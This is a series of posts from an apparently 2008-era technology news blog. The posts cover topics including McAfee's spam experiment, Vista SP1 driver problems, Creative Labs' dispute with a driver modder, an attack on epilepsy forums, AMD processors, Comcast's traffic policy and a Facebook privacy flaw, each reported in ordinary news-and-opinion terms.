McAfee: Super Spam Us!

McAfee's S.P.A.M. (Spammed Persistently All Month) experiment begins today. This is a global project, with 50 people, 5 from each of the 10 countries that McAfee does business in, selected from over 2,000 respondents via a Craiglist ad.

The entire month of April, participants will expose themselves to spam using a Dell laptop provided by McAfee - which they will keep - sans spam protection and with a fresh email address. As the month goes by, participants will blog about their experiences on http://www.mcafeespamexperiment.com/ (participants will blog in their native languages).

Participants won't just be receiving spam; they'll be responding to it, to prove just how harmful spam is. In a press release, Christopher Bolin, chief technology officer for McAfee said:

"Spam isn't just a nuisance. It's a tool used by cyber criminals to steal personal and business data. And, as scammers become more adept at writing spam in local languages it's becoming more difficult for Internet users to detect spam. It's vital that computer users understand the risks of leaving their computers unprotected."

A good question would be just how many Nigerian / 419-type scams participants will enjoy.

Dave DeWalt, CEO for McAfee said:

"Cybercrime won't go away without solving the problem of spam. McAfee is leading the fight against cybercrime and spam. This experiment will raise awareness of the problem by showing that a 30-day diet of spam is bad for your online health."

Sounds a lot like a Super Size Me type experiment doesn't it?

There's no doubt that besides the annoyance of being buried under a mountain of spam, if you're not wary you can become infected with viruses and trojans - or those who are the most careless can be tricked into giving away sensitive financial information.

At the end of the experiment McAfee's Avert Labs will be analyzing the spam and writing a report. I assume they will also analyze just how many viruses were introduced to the laptops as well - as well as, since the participants are keeping the laptops, provided a fresh hard drive or formatting the old one.

It should be noted that McAfee provided both antivirus and antispam products, so it has a vested interest in this study.

Ready, set, start clicking on that spam!

Japan's Windows Vista Gets "Pretty in Pink"

Why not, after all? The land of Pokemon and Hello, Kitty! will surely go for a pink boxed copy of WIndows Vista in droves, won't it?

Sure it will.

This version of Windows Vista Home Premium, available only in Japan, is bundled with Windows Live OneCare. I would hope, if they are combining Vista with the much-maligned OneCare, that they would actually reduce the price of the bundle.

Or, since it also comes with a book on Windows Vista tips, perhaps it should be a wash. Microsoft, if you really want people to buy your product, make it work right, and let's not have upgrade fiascoes for the long-awaited first Service Pack.

Here's the Microsoft promotion page, BTW.

Desperately Seeking Drivers ... for Windows Vista SP1

I haven't been able to upgrade my Dell Inspiron XPS M1710 to Windows Vista SP1 because of - what else - driver issues, as you probably recall from my earlier post. Basically, I needed an update for my SigmaTel sound card driver. And quite naturally, looking at the M1710 driver section, there was no update!

So, I trolled the Community Forums, finding that others were in the same situation as myself. From the forum, as I indicated in my earlier post, I found this driver, R171788.exe. Naturally sicne it wasn't published on the M1710 page, I was a bit nervous, but I gave it a shot this weekend.

So, to make a big production out of it, here's what I did:

• Downloaded the standalone SP1 installer so I wouldn't have to do it on the fly.

• Crossing my fingers, I installed the SigmaTel driver on my M1710. It worked! And after rebooting, I saw the above image in Windows Update (click to enlarge). Sweet.

• Created a drive image using Acronis True Image 11.

• Created a drive image using Paragon Drive Backup 8.51. Why create two images with two different programs? A friend told me a horror story of having a corrupted image, which pushed him into using two backup programs. I took his advice.

• Ran the SP1 installer. For your information, on my M1710 it took several reboots and 50 minutes. And that's a pretty powerful laptop! Just imagine someone with a slower system doing this. As it says in the screenshot below, it can take an hour or more to install. If it takes 50 minutes on an M1710, it's gonna take a hour on a lot of systems.
  

After the 50 minutes was over, I tried the system (I am currently using it), and found ... nothing really different about the system. I did notice one thing that's been annoying me since the start with Vista - file copying, over the network or to external drivers - seemed to be improved. And I mean really improved.

So, for me, the reason to upgrade to SP1 is mostly, as I told my wife, eventually they will stop providing updates for non-SP1 systems. And if you're going to keep your system for a while, you're going to need those updates (mostly security based, to be sure).

Now what? I still have to find a driver for my wife's HP laptop. It's several months newer than my M1710 so I'm annoyed at the issue. I also have to find a driver for my Dell Inspiron XPS Gen 2. It doesn't use the same SigmaTel hardware as my M1710 so I have to find a different one. Typically, the XPS Gen 2 driver page doesn't even list Windows Vista as an OS for the darn thing. Oh, and let's not even talk about my relatives' systems.

What gets me, as I said in my previous post, is that John or Jane Q. Public is going to have a heck of a time finding these drivers. They're probably going to just ignore the whole thing. Now, hopefully Microsoft will directly offer replacement drivers in Windows Update, but to this point, nothing.

Even if that happens, as I previously said, both Microsoft and OEMs such as Dell, Gateway, etc. should team up and offer some sort of tool that scans your system, tells you what the issue is, and points you to a replacement driver - or at least a coming soon page.

You know Microsoft wants SP1 to be successful so that they can get more people to adopt the OS, but this whole SP1 thing has been a fiasco so far.

Creative Labs Slams Door on "Fixed," User-Modded Vista Drivers

Hear it all. All about Creative and their poor Vista driver support.

I'm still a gamer, but with the amount of heat gaming PCs put out, I've switched to gaming laptops only. It's way more expensive, but at least I haven't had to experience the problems Creative Labs users have been having on Windows Vista. Drivers were buggy and feature-crippled.

User Daniel_k (Daniel Kawakami) has been modding Windows Vista drivers for Creative Labs products. While Creative Labs insisted that features such as Decoding of Dolby Digital and DTS signals and DVD-Audio which worked fine in WinXP, would not work on Vista. Daniel_K was recently able to "fix" many drivers, enabling the "incompatible" features as well as fixing many bugs.

He made a few mistakes, however, as in asking for donations. Making a profit off his modded drivers was asking for trouble.

On Friday Creative Labs put a stop to the driver modding, by posting the following on their forums, as well as removing links to his modded drivers.

Daniel_K:

We are aware that you have been assisting owners of our Creative sound cards for some time now, by providing unofficial driver packages for Vista that deliver more of the original functionality that was found in the equivalent XP packages for those sound cards. In principle we don't have a problem with you helping users in this way, so long as they understand that any driver packages you supply are not supported by Creative. Where we do have a problem is when technology and IP owned by Creative or other companies that Creative has licensed from, are made to run on other products for which they are not intended. We took action to remove your thread because, like you, Creative and its technology partners think it is only fair to be compensated for goods and services. The difference in this case is that we own the rights to the materials that you are distributing. By enabling our technology and IP to run on sound cards for which it was not originally offered or intended, you are in effect, stealing our goods. When you solicit donations for providing packages like this, you are profiting from something that you do not own. If we choose to develop and provide host-based processing features with certain sound cards and not others, that is a business decision that only we have the right to make.

Although you say you have discontinued your practice of distributing unauthorized software packages for Creative sound cards we have seen evidence of them elsewhere along with donation requests from you. We also note in a recent post of yours on these forums, that you appear to be contemplating the release of further packages. To be clear, we are asking you to respect our legal rights in this matter and cease all further unauthorized distribution of our technology and IP. In addition we request that you observe our forum rules and respect our right to enforce those rules. If you are in any doubt as to what we would consider unacceptable then please request clarification through one of our forum moderators before posting.

Phil O'Shaughnessy
VP Corporate Communications
Creative Labs Inc.

Some users have posited that Creative Labs has been artificially removing features; O'Shaughnessy's statement "If we choose to develop and provide host-based processing features with certain sound cards and not others, that is a business decision that only we have the right to make" seems to point to that conclusion.

As I said, Daniel_k was definitely breaking the EULA, and asking for donations probably drew Creative's ire.

However, Creative's announcement, as well as Daniel_k's indicating he was quitting the modding business drew still more ire - from Creative's customers.

For example, this one:

I am sure I am not alone when I ask this. Once and for all, we want the truth:

After your disrespectful messages to Daniel_K, will you be fixing your own drivers? Or are you going to leave it as it is?

And this one:

I'm happy to announce that by your recent actions AGAINST your customers I have decided NEVER to purchase a Creative product again. I'm also happy to say that within 30 minutes of your horrible news I've managed to convince 3 people to NOT purchase planned Creative products.

It's indeed not a lot but at least I'm doing something.

And finally:

Can we (Vista and X-Fi users) request for a refund as Creative has failed to deliver the necessary drivers and materials in order for the Sound Card to work as advertise?

I have to admit, Daniel_k has a good point in his post I linked above, one that Creative should take to heart:

The funny thing is that you are faster "protecting" your technologies and intelectual properties than providing improved drivers and softwares for your customers.

You purposedly crippled and ruined the Audigy/Live! (Emu10kx) and the Audigy LS/SE/Value/Live!24-bit (P17) drivers for Windows Vista.

This just proves you don't really care about what your customers and what people think about you.

Hey, Creative, when's the last time you looked at your stock price? Yep, $4.45 / share, down from slightly over $6 a year ago. Wonder why? Perhaps driver quality?

Google Celebrates "Earth Hour" By Using More Energy

"Earth Hour" is 8 PM - 9 PM Saturday night, and the event, as envisioned by the World Wildlife Fund, is for everyone in the world to turn out their lights to save energy, reduce CO2 missions, and the like.

An excellent example is the step take by all the Canadian McDonald's restaurants, which will be turning off their lighted roof beams and signs during the hour. Don't worry, they'll still be serving food, and interior lights will be on, but according to McDonald's enough energy to power a typical Canadian city will be saved during the hour.

On Saturday, as Google likes to do on "special occasions," Google changed not just its logo, but its entire home page to demonstrate support for "Earth Hour." They changed their webpage to have a completely black background. Ironically, a study has shown that a completely black webpage actually uses more power. Of course, whether or not that's really true - well, read on.

The study wasn't conducted on Google, but on Blackle, a site developed using Google Custom Search, which cites a 2002 study from Judy Roberson, who tested a variety of CRT and LCD monitors and found that an all black screen consumed less energy than an all white screen on all of them.

However, a later study showed that while CRT monitors saved power across the board, only LCD monitors greater than 22" in size showed a decrease in power consumption, while several of those below 22" in size showed a minor increase in power use.

Meanwhile, Google itself indicated that the change in screen colior actually makes no difference, with modern display technology changing the "equation."

What do I think? I think even if there is a difference in power consumption, it's minor, and in most cases, Google's probably right - at least with newer displays. The 2002 study certainly used much older technology and I doubt it still holds true.

So, before readers give me a lot of flak, the point of this post is more to remind people about "Earth Hour" than to point out some grievous screw-up by Google. Really want to save some energy? Turn off your PC and go outside. It's a beautiful day.

Hackers Attack Epilepsy Forum; Cause Headaches, Seizures

I have a colleague with epilepsy, and he told me today about an attack last weekend on the user forums of the Epilepsy Foundation of America (EFA), "the national voluntary agency solely dedicated to the welfare of the more than 3 million people with epilepsy in the U.S. and their families."

Apparently hackers went into the forums and laced messages with first animated GIF images, and then Javascript in an attempt to trigger seizures in users. And people wonder why I have doubts about the future of the human race.

Although that's the only forum my colleague visited, the forum at the National Society of Epilepsy (NSE) in the U.K. was subjected to the same attack last weekend. My colleague, fortunately, received a migraine from his visit, but no seizures.

Of those diagnosed with epilepsy, 3 - 5% are of the photosensitive type, in which seizures can be triggered by visual stimuli.

Both sets of forums have since been cleaned up, but why would anyone do this? Messages on the forum indicate that some even wondered about ever coming back to the forums. In this EFA thread Bella2 said:

So, it really freaked me out, the events of last week. Disgusting, graphic pictures kept popping up and I got the worst headache ever. I'm sure all of you had the same. I'm sure there were some who had seizures, too. I force quit my computer and all was normal again. The next day, I asked my husband to check it and it seemed fine too but I have been avoiding this site because I didn't know how long it would take to clean it up.

Here's a "thank you" note for the hard work the EFA did in cleaning up the forums.

And here's a general thread at the NSE about the problems of last weekend.

To make matters worse, the hackers laced the forums with viruses and trojans as well. It was noted by Southie in this thread, that her AV program caught the following:

Keylogger
Keystroke
Back-Door
JS/Popupper

Why would anyone do this? And who would do this? As I said previously, it just goes to show that there are some pretty evil people in the human race.

Wired seems to think it was the group Anonymous, which has been waging a cyberwar against Church of Scientology, but I see no reason why they would attack the EFA and NSE. Apparent members of Anonymous have posted on the EFA boards denying responsibility, and actually positing it was the Church of Scientology that attacked the sites, which makes no sense either.

In the end, while it does matter, we will probably never really know who attacked the sites. More importantly, the sites should take some steps to prevent the issues from occurring again: simply disabling Javascript and images in forums posts would be a good first step.

And let's hope this sort of thing never happens again.

Piracy Funding Terrorism: Mukasey

The RIAA, MPAA, and anyone else you can think of concerned with piracy have a new friend: Attorney General Michael Mukasey. In a gathering of Silicon Valley executives and media at the Tech Museum of Innovation in San Jose, California, Mukasey warned that piracy and counterfeiting profits are funding terrorism.

Some of his statements, as indicated in a DOJ transcript, were as follows:

First, there's the obvious economic threat -- I suspect that you in this room are far too familiar with this part of the problem.

Second, counterfeiting and piracy generate huge profits, much of it flowing to organized crime. Criminal syndicates, and in some cases even terrorist groups, view IP crime as a lucrative business, and see it as a low-risk way to fund other activities. A primary goal of our IP enforcement mission is to show these criminals that they’re wrong.

And third, in many cases IP crime can also pose a serious threat to health and safety. Fake products of all kinds erode consumer confidence in the marketplace, but the counterfeiting of products like pharmaceuticals and medical devices, auto and airplane parts, or electronics that go into our nation’s critical infrastructure, can present a real and direct danger to the public.

Prior to his speech, Mukasey met with representatives from Apple, Adobe, and other companies. Yesterday he met with Hollywood executives at Warner Bros. in Los Angeles. Friday was the last leg of a three-day swing through California for Mukasey.

Mukasey also indicated that the DOJ filed 217 Intellectual Property (IP) cases, a 7% increase over 2006, and 33% more than 2005.

Still, some of the places we really need to worry about IP theft, such as China, are places where the influence of the DOJ doesn't really amount to much. Still, today Mukasey said U.S. anti-counterfeiting authorities are working with the European Union, Asia, Canada, and even hacker-friendly countries China and Romania.

HD-DVD Simply ... Ceases to Be

What a tumultuous three months. That's how long it took for HD-DVD to cease to exist, starting with Warner Bros.' decision to drop the HD-DVD format in early January, and spiraling quickly afterwards.

On Friday the HD-DVD Promotion Group dissolved, announcing to its members and on the site:

HD DVD Managing Members

March 28, 2008

The HD DVD Promotion Group was dissolved as of March 28, 2008, and the website was closed accordingly.

Please access to DVD Forum for HD DVD formats, and DVD Format/Logo Licensing Corporation for format books and its license. Regarding the HD DVD products, please contact each selling agency directly.

Of course, this doesn't mean you can't find HD-DVD products anywhere. Just that it sure ain't going to be easy.

BTW, will the last HD-DVD member out, turn out the lights? Or at least, shut down the servers for the website (it's still there). After all, Earth Hour is today, isn't it?

GTA IV, Amazon MP3 to Be in Harmony

I'm not a fan of in-game advertising, but in-game sales might be an idea that I can "buy" into.

The in-game radio of the Grand Theft Auto series has been a feature many have lauded, but now it will also be a way to monetize gameplay. By using a new technology called "ZiT," a player, upon hearing a song they like, can call ZIT-555-0100 on their in-game cell phone. A player would then receive a text message with the song and artist names. If they happen to be registered at the Rockstar Games Social Club that I wrote about earlier, they'll receive an e-mail with a direct link to a custom playlist on Amazon.com, where all songs tagged "ZiT" will be stored.

In a press release, it's clear that the music industry is pretty happy about the possibility of monetizing in-game soundtracks. Ronn Werre, EVP, EMI Music's Sales, Licensing and Synchronization unit, said:

"Music has long played an integral part of the game playing experience. We think giving players the ability to identify and buy their favorite tracks from Grand Theft Auto IV's popular radio stations is a great new music discovery tool for fans and an innovative new revenue stream for artists."

Wait, where's the "innovative new revenue stream for us" sentence?

At any rate, it's also cool that they choose Amazon MP3, since all their selections are DRM-free. But if this model really takes off, could we perhaps see it used to subsidize and thus lower the retail cost of games? Nah, I didn't think so, either.

Amazon.com Flexes Its Muscles with "Print-On-Demand" Publishers

Despite the fact that I positively love Amazon MP3 for its no-DRM MP3 songs, and Amazon.com for its pricing and easy return policy, let's not forget that Amazon.com is a corporation - whose aim is to make money, not be nice.

In 2005 Amazon.com purchased BookSurge, a small Print-On-Demand (POD) company. Reports are circulating that Amazon.com is flexing its muscles and telling publishers who use POD that they must print through BookSurge.

With new technologies allowing books to be printed and bound in as little as 10 minutes, POD is becoming more popular. Rather than printing a run of books before even knowing if the book will be a hit, with POD publishers can save money by printing only when resellers order.

That's great for publishers, obviously saving money and reducing risk, and until now Amazon.com has been working with publishers using other POD services without issue. That's the key, "until now."

This move would definitely add a stream of revenue for Amazon.com, but it seems somewhat monopolistic. Most authors and publishers definitely would want to be on Amazon.com's site, so if this sort of ultimatum is given, what then?

The WSJ reports (paid subscription required) that Amazon.com says this is not an ultimatum. Rather, said Tammy Hovey, a spokeswoman for Amazon.com:

"It's a strategic decision. What we're looking to do is have a print-on-demand business that better serves our customers and authors. When we work with some other publishers, it's not truly a print-on-demand business."

Ah, it's all about efficiency. And apparently the bottom line.

Nokia Siemens to Sharpen EDGE Speeds

Nokia Siemens Networks announced on Thursday announced their Dual Carrier EDGE solution, while will double data speeds to 592 kbps. This will be a carrier-side software change, and will be available in 3Q 2008.

The next step after that in Nokia Siemens Networks' EDGE Evolution program will be EGPRS 2, which will download speeds to up to 1.2 Mbps and upload speeds to up to 473 kbps. The date of that upgrade, however, was unannounced.

EDGE Evolution aims to improve EDGE speeds by reducing latency, increasing bit rates and increasing signal quality.

In a press release, Ari Lehtoranta, Head of Radio Access Business Unit, Nokia Siemens Networks, said:

"By 2015, we expect to live in a broadband-IP world with five billion people 'always on' and therefore Nokia Siemens Networks is committed to protecting customer investments and continue to implement leading EDGE technology. Dual Carrier software upgrade is an easy and extremely cost efficient step to bring broadband user experience to GSM/EDGE networks."

Just imagine how much work corporations will be able to wring out of us then.

What's uncertain is what, if any, current phones will be able to handle the new speeds. The assumption is that at least some (perhaps the iPhone) will be able to get a firmware upgrade and see marked improvement, while others will be stuck in the slow lane.

By the time this rolls out we will hopefully be holding a 3G HSDPA iPhone anyway, but for those with old hardware, this would be great.

Rockstar Games Announces a "Social Club"

Anyone ever watch the movie The Cheyenne Social Club? Well, this ain't that kind of social club. Thursday Rockstar Games announced the Rockstar Social Club, scheduled to launch (drum roll) on the same day as Grand Theft Auto IV, April 29th (go figure).

Registration begins on April 15th (another memorable day) and users can sign up with their Xbox Gamertag or PlayStation Network ID.

Yes, yes, it's a high-tech leaderboard, but you get more than just that.

Here's what you'll get:

• LCPD Police Blotter - A virtual map and tracker of single-player criminal activity logged in Liberty City from the aggregated data of millions of connected players - showing the most dangerous areas of town, most commonly used weapons and more.

• The Story Gang - This special single-player leaderboard recognizes players who complete Niko Bellic's main story arc of Grand Theft Auto IV - The leaderboard ranks players according to the total amount of playing time it's taken to complete the story, as well as a historical rank by who has completed it first. Members of this club will receive special online widgets and merit badges marking all of their in-game accomplishments.

• The 100% Club - Watch to see who will be the first to complete 100% of the game. The first ten people to be identified on the Social Club as reaching 100% will be sent an ultra-rare commemorative 'key to the city' to mark their accomplishment. In the future, the 100% Club will then carry a historical leaderboard showing rankings of who has completed 100% of a game in the shortest span of playing hours.

• The Hall of Fame -- This area will dynamically recognize those singularly elite players who have reached the top of the hill on various statistical leaderboards, and will also contain a personal awards display of special in-game landmarks and successes in Social Club competitions.

• The Liberty City Marathon -- A ranking of special physical milestones achieved in the game - from the amount of miles walked, driven, or swam - to the number of bullets fired and stunt-jumps jumped. There will be additional special marathon-based competitions in the future from this area as well.

Obviously the Social Club opens with GTA IV support, but it will naturally expand to other titles as time goes by.

Back to that EA vs. Take-Two story in five, four, three ...

Apple Relents: Non-Apple PCs Can Now Use Safari

Despite the fact that it appeared Apple was pushing Safari via iTunes update, until today, it turns out you can't install it at all, unless you wanted to violate the EULA and risk legal action (and we all know how Apple protects its interests).

As pictured above, you can see that the EULA for Safari (for Windows) says you can install and use the software on "a single Apple-labeled computer at a time." Since Apple doesn't make Windows PCs, this means you could only use the Windows version on a Mac running Boot Camp or some other software allowing you to run Windows on a Mac.

However, realizing it wouldn't get much market share this way, Apple has since relented, changing the EULA (.PDF) posted on their website so that it says:

"This License allows you to install and use one copy of the Apple Software on each computer owned or controlled by you."

Unfortunately, if you happen to download the installer and run it, you still see the EULA above. So, here's my suggestion: download the EULA and keep it around in case Apple chases you down for violating their EULA.

Alternatively, use Firefox.

Comcast, BitTorrent Announce Collaboration (But High-Volume Downloaders Still Need Not Apply)

Wait, wait, is this the same Comcast that has been throttling P2P traffic of late? It is? Hmmm.

Today in a joint press release Comcast and BitTorrent announced they are now working together. Yes, I know it's hard to believe. So, by the end of 2008, Comcast isn't going to throttle P2P traffic. Sounds great, eh?

In fact, BitTorrent will be working to optimize its protocol, with president Ashwin Navin saying the in the press release:

"In the spirit of openness and fostering innovative solutions, BitTorrent will take the first step in enhancing our client applications to optimize them for a new broadband network architecture. Furthermore, we will publish these optimizations in open forums and standard bodies for all application developers to benefit from."

Good news, good news, right? Nope, not really. What they're going to do instead is throttle all file transfers for high-usage consumers.

What Tony Warner, Comcast's chief technology officer told the WSJ (paid subscription required) is that rather than throttle P2P, Comcast will throttle all traffic for those high-usage customers. Of course, as with Comcast bandwidth caps, the exact definition of "high" wasn't elaborated upon.

So, as we move toward more services that require high usage, such as IPTV, Hulu, Netflix's streaming service, iTunes movie rentals, and the like - ISPs are telling us "don't use so much." How can this conundrum be resolved?

Simple, unfortunately. It seems likely that ISPs will begin to move en masse toward the tiered structure that Time-Warner Cable is trying out. The "all-you-can-eat" accounts will - though it will take some time - eventually peter out, if the trend continues.

Adobe Launches Free Online Photoshop Version

Thursday Adobe launched Photoshop Express, an free, online version of its popular Photoshop picture and graphics-editing software. In doing so, Adobe joins the crowd of vendors offering online versions of productivity software. Typical of such offerings, Photoshop Express (PE) arrives in beta form.

Registered users will have 2 GB of storage available as well. Once you sign up, you get a "personal sharing URL," such as http://xxxx.photoshop.com. And before you ask, no, you can't edit local files, only files that are uploaded to your account - or at other sites (more on that below).

Annoyingly, they use Flash for everything, including login, which means Roboform, my password / auto-login program, won't work. Sigh.

Photoshop Express works integrates Facebook, Photobucket and Picasa; you can login directly from the PE site (right). It will attempt to load thumbnails from the logged-in site, but for Photobucket, it failed, only loading a few of the thumbnails and indicating the rest had been moved or deleted - which they had not. I switching to a different album and back fixed the problem.

Click on a thumbnail and you can bring up a menu (left) with a ton of options, including (of course) Edit. If you try to grab the link though, it won't give you a direct link, but a link that passes the direct link through the photoshop domain. Annoying.

Get into editing mode and you'll see PE is pretty generous in its options, though it opened this image of a Pleo (188 x 114) in full-screen mode, rather than defaulting to actual size for a picture small enough to fit on-screen (click above image to enlarge). Ah well, that's what the Feedback link is for.

In their press release, Doug Mack, vice president of Consumer and Hosted Solutions at Adobe said:

"Photoshop is trusted technology that has changed the visual landscape of our world. Now, Photoshop Express allows anyone who snaps a digital photo to easily achieve the high-impact results for which Adobe is known. Photoshop Express is a convenient, single destination where you can store, edit and share photos whether you’re at home, school or on the road."

It doesn't say it, but with other web-based apps proliferating, they are also saying, "if you can't beat 'em, join 'em."

The beta is U.S.-based for now. You can try, as Adobe says in their FAQ, to access it from other countries, but because all the servers are in the U.S., you'll likely have performance issues.

Airline Uses iPods to Attract Travelers

Frequent flier points / miles / whatever not working for you? Time to up the ante. Eos Airlines began a promotion on Wednesday which runs through April 11th. Buy a round-trip ticket from New York to London costing $4,000 or more and get either an iPod Classic or 30,000 Club 48 points. A ticket for less than $4,000 earns you a iPod nano or 15,000 Club 48 points.

Oh, did I mention you have to be a Club 48 member also? Yeah, you do, and you can sign up here.

Eos Airlines takes 757s and converts them from carrying over 200 passengers into suite-based airliners that only carry 48 guests. In fact, every Eos guest gets 21 sq. ft. of space and a a 6'6" Fully Flat Bed. Whoa. And an iPod.

Eos is a business-oriented airline, which flies mainly between New York's JFK International and London's Stansted Airport.

Check out the picture above. If you can afford this treatment, you can buy your own iPod.

AMD Unveils New Quad-, Triple-Core Phenoms

AMD made a host of announcements on Thursday, including officially launching their triple-core Phenom X3 line, which we wrote about earlier, as well as high-performance quad-core Phenom X4 CPUs and an energy-efficient quad-core CPU that uses only 65 watts.

Triple-Core Phenom X3

The triple-core Phenom X3 8000-series CPUs were shipped to OEMs earlier in the month. The CPUs will range from the 8400 (2.1GHz) to the 8600 (2.3GHz). According to the press release, AMD and ZT Systems will premiere the first system featuring the triple-core 8400 CPU on QVC during the Computer Shop broadcast, cheduled to air March 31 at 10 p.m. EDT.

In the press release, Russell Carlisle, VP of Marketing, ZT Systems said:

New ZT Affinity desktops featuring the AMD Phenom X3 8400 triple-core processor deliver 'The Latest Technology for Less,' empowering a broader range of customers to experience the performance and multi-tasking capability of true multi-core technology. The ZT Affinity 5202Zi is a perfect fit for consumers looking for a stylish, affordable compact PC with the power they need for today's cutting-edge digital entertainment.

It should be noted that as innovative as AMD tries to make these triple-core CPUs sound, they are really quad-cores with a failed core - a good way to use something that would otherwise be wasted.

Additionally, these both use the B2 stepping which means the TLB bug is present and fixed via a BIOS patch.

Quad-Core Phenom X4

AMD also announced the high-performance Phenom X4 CPUs, with the 9550 (2.2GHz), 9650 (2.3GHz), 9750 (2.4GHz) and 9850 (2.5GHz) now available. The 9850 is available (quantity 1000) for $235 while the 9550 is $209. More pricing info is here, and a comparison of the CPUs via model number is here.

Naturally these new X4 CPUs will be free of the aforementioned TLB gu which, when patched, significantly impacts performance. Of course, when unpatched you can reach a deadlock condition.

In the press release, Mario Rivas, executive vice president, computing solutions group, AMD said:

"These new AMD Phenom X4 processors unlock even greater visual computing performance to showcase the unparalleled scalability of the AMD enthusiast platform. Based on AMD’s advanced true quad-core architecture, these processors are loaded with powerful performance features like next-generation HyperTransport™ 3.0 and energy-efficient innovations like Cool’n’Quiet™ 2.0 technology."

Energy-Efficient Quad-Core AMD Phenom X4 9100e

Despite the obvious focus of most people on performance, for me the 9100e was the most interesting. Using a maximum of 65 watts of power, it promises quad-core goodness while maintaining a semblance of green, and while managing to keep your office temperature at a livable level.

Once again, this CPU is free of the TLB bug.

In the press release, Greg White, corporate vice president and general manager, desktop and embedded division, AMD said:

"By infusing energy–conscious design into everything related to AMD - facilities, products and alliances - AMD has emerged as a leader in establishing eco-friendly practices. The AMD Phenom X4 9100e processor is our latest endeavor to help customers reduce energy consumption and environmental impact. Energy-efficient processors from AMD not only enable differentiated solutions, but are extremely conducive to smaller and sleeker form factors like Home Theater PCs that take up less space and operate quietly. PCs such as this can also help reduce energy consumption and the associated environmental impacts of traditional PC form factors."

Meanwhile, Jim McGregor, research director and principal analyst, In-Stat said:

"Consumers and businesses alike are requesting smaller, more elegant PCs that aesthetically complement home and office environments, offer lower noise for a better computing experience, and deliver the same performance of larger systems. Energy efficient desktop processors like the AMD Phenom X4 9100e offer greater performance-per-watt over traditional desktop CPUs while addressing the growing concerns of end-users for more energy efficient and eco-friendly products.”

What do I think? Call it the kitchen sink or the whole nine yards: AMD threw about everything it could at us all on one day. It's good to finally see something competitive from AMD, though the pendulum is still swung firmly in Intel's direction.

Turn Your Smartphone Into a Wi-Fi Hotspot

Waitasecond! I'm pretty selfish with my bandwidth. Why would I want to turn my wi-fi enabled smartphone into a hotspot? Well, maybe I would - because it's generally easier to set up wi-fi than to set up a smartphone as a laptop modem.

Wednesday TapRoot Systems announced (.PDF), for "immediate implementation into carrier networks," WalkingHotSpot (WHS) client and server. The client will only work on WM and Symbian devices for now.

Of course, you won't be able to buy it yourself. Nope. The idea is for TapRoot to sell this to carriers, and then the carriers will incorporate it into their devices. In conjunction with the WHS server, which

provides carriers with the ability to manage and control subscriber accounts, authenticate WalkingHotSpot devices and clients, as well as collect subscriber usage information. This service allows carriers to offer a secure, controlled and scalable solution to their subscribers.

AKA: carriers can / will use the server to charge for this. As if we don't pay enough for our wireless plans already, right?

Want voice / data? That's only available on HSDPA / UMTS devices. EVDO, though fast, will drop the data connection when a call comes in.

BTW, there's a (currently) free WM client called WMWifiRouter. It's on WM, though, and it's clear it's not going to be free once it ships. You can get a €5 discount on the final product if you try it and let them know (via a web form) if it worked on your device.

Take-Two to EA: Seriously, We Reject Your Offer

You'll recall that earlier this month Electronics Arts decided to take its $26 /share offer directly to Take-Two Interactive shareholders, going hostile, after Take-Two earlier rejected the unsolicited offer. Today Take-Two repeated itself, recommending that shareholders reject the offer.

In a press release, Take-Two recommended to shareholders that they reject EA's offer, saying once again that the $26 / share price was inadequate. At the same time, Take-Two has adopted a Shareholder Rights Agreement (really, a "poison pill") which will be in place for the next 180 days, which would kick in if an investor acquires a 20% stake in the company or anyone already above that threshold buys an additional 2% stake.

As indicated in the press release by Strauss Zelnick, Chairman of the Board of Take-Two:

"We have adopted this short-term Stockholders Rights Agreement in order to guard against a takeover by EA at the current, inadequate price. We believe the Rights Agreement will ensure that the Take-Two Board has adequate time to consider all strategic alternatives for maximizing value for Take-Two stockholders. The Agreement will not, and is not intended to, prevent a takeover of the Company on terms that are fair to and in the best interests of all stockholders."

Take-Two also rescheduled 2008 Annual Meeting to Thursday, April 17, 2008 at 6:30 p.m. (EDT).

Take-Two maintains that it's willing to talk - after the April 29th release of Grand Theft Auto IV - not just to EA, but to any parties interested in a "strategic business combination." In fact, Take-Two said this when they first rejected EA's offer. As also indicated by Zelnick, Take-Two's board feels the offer is "opportunistically timed to capture the value of the upcoming Grand Theft Auto IV launch at the expense of our stockholders."

Take-Two (TTWO) is up $0.01 to $25.83 / share at the time of this writing, while EA (ERTS) is down $1.29 to $48.89.

So, has anyone started a pool yet on which takeover will be resolved first? This one or Yahoo!?

Windows XP SP3: No, Really, It's Not Ready

Rumor was that Microsoft was set to release Windows XP Service Pack 3 (SP3) this week, but that's obviously not going to happen. Tuesday Microsoft announced another refresh of the software, a Release Candidate 2 (RC2) refresh (what, not RC3?).

As before, you have to use an application to enable Windows Update to "see" your PC as a valid machine to install SP3 on.

While SP3 isn't ready yet, it has to be very close, as the post on Technet announcing the refresh said:

Beyond fixes for common Windows Update issues and the inclusion of support for HD Audio, there are no substantial differences between this beta release (build 5508) and XP SP3 RC2 (build 3311).

Plenty of users will be happy about the HDA support, as that wasn't working before, but the release of a refresh means a new test cycle will start. Microsoft still says SP3 will release in the first half of this year, however.

Facebook's New Privacy Controls Fall Flat

You'll recall that Facebook recently ratcheted up their privacy controls. Apparently they didn't ratchet them tight enough.

Since last week's announcement, Vancouver computer technician Byron Ng has been trying to hack past the privacy controls. Why he was doing this, I'm not sure. I am pretty sure it was for altruistic reasons, since as soon as he discovered the hack, he revealed it to AP, who verified the hack themselves.

Additionally, after being tipped to the security hole on Monday afternoon, Facebook closed the hole - within an hour. It is unclear if the security hole that was closed was this one, which apparently has been known for weeks around the Web, but unfixed seemingly until yesterday. If so, that would tend to indicate a less-than-swift response, at least until things were highly publicized.

You'll recall that Facebook's new privacy settings allowed users to restrict information to specific classifications of users they set up.

• Everyone on Facebook
• Friends of Friends
• All Friends
• Some Friends
• Only Me

However, Ng was able to go so far as to view private pictures of Paris Hilton at the Emmy awards and photos of her brother Barron Nicholas as well.

Ah, what can you say? Given enough time, anything can be hacked (hear that RIAA, MPAA and other DRM and copy-protection users?). Of course, this was pretty quick.

Let's hope when Facebook rolls out their Chat feature it's not quite so full of holes, security or otherwise.

Forbes to Launch Business and Finance Blog Network

On Monday Forbes announced something you can see from the badge to the left of this post: the Forbes Business & Finance Blog Network. Yep. this blog is part of it.

It's actually been a long time coming, as this site was involved very early on in the development, since late last year. Originally it had been slated to launch in January, but here it is, better late than never.

In a press release released to the media and (naturally) released to blog network members, Forbes said:

The Blog Network’s content will focus on senior business decision makers and high-net-worth investors. Topics will be relevant to the banking, trading, hedge fund management, affluent investing, and senior business decision-making communities. Participation in the network is by invitation only, and all blogs are vetted by Forbes.com editors for appropriate content, and to ensure that they are in keeping with the Forbes editorial brand.

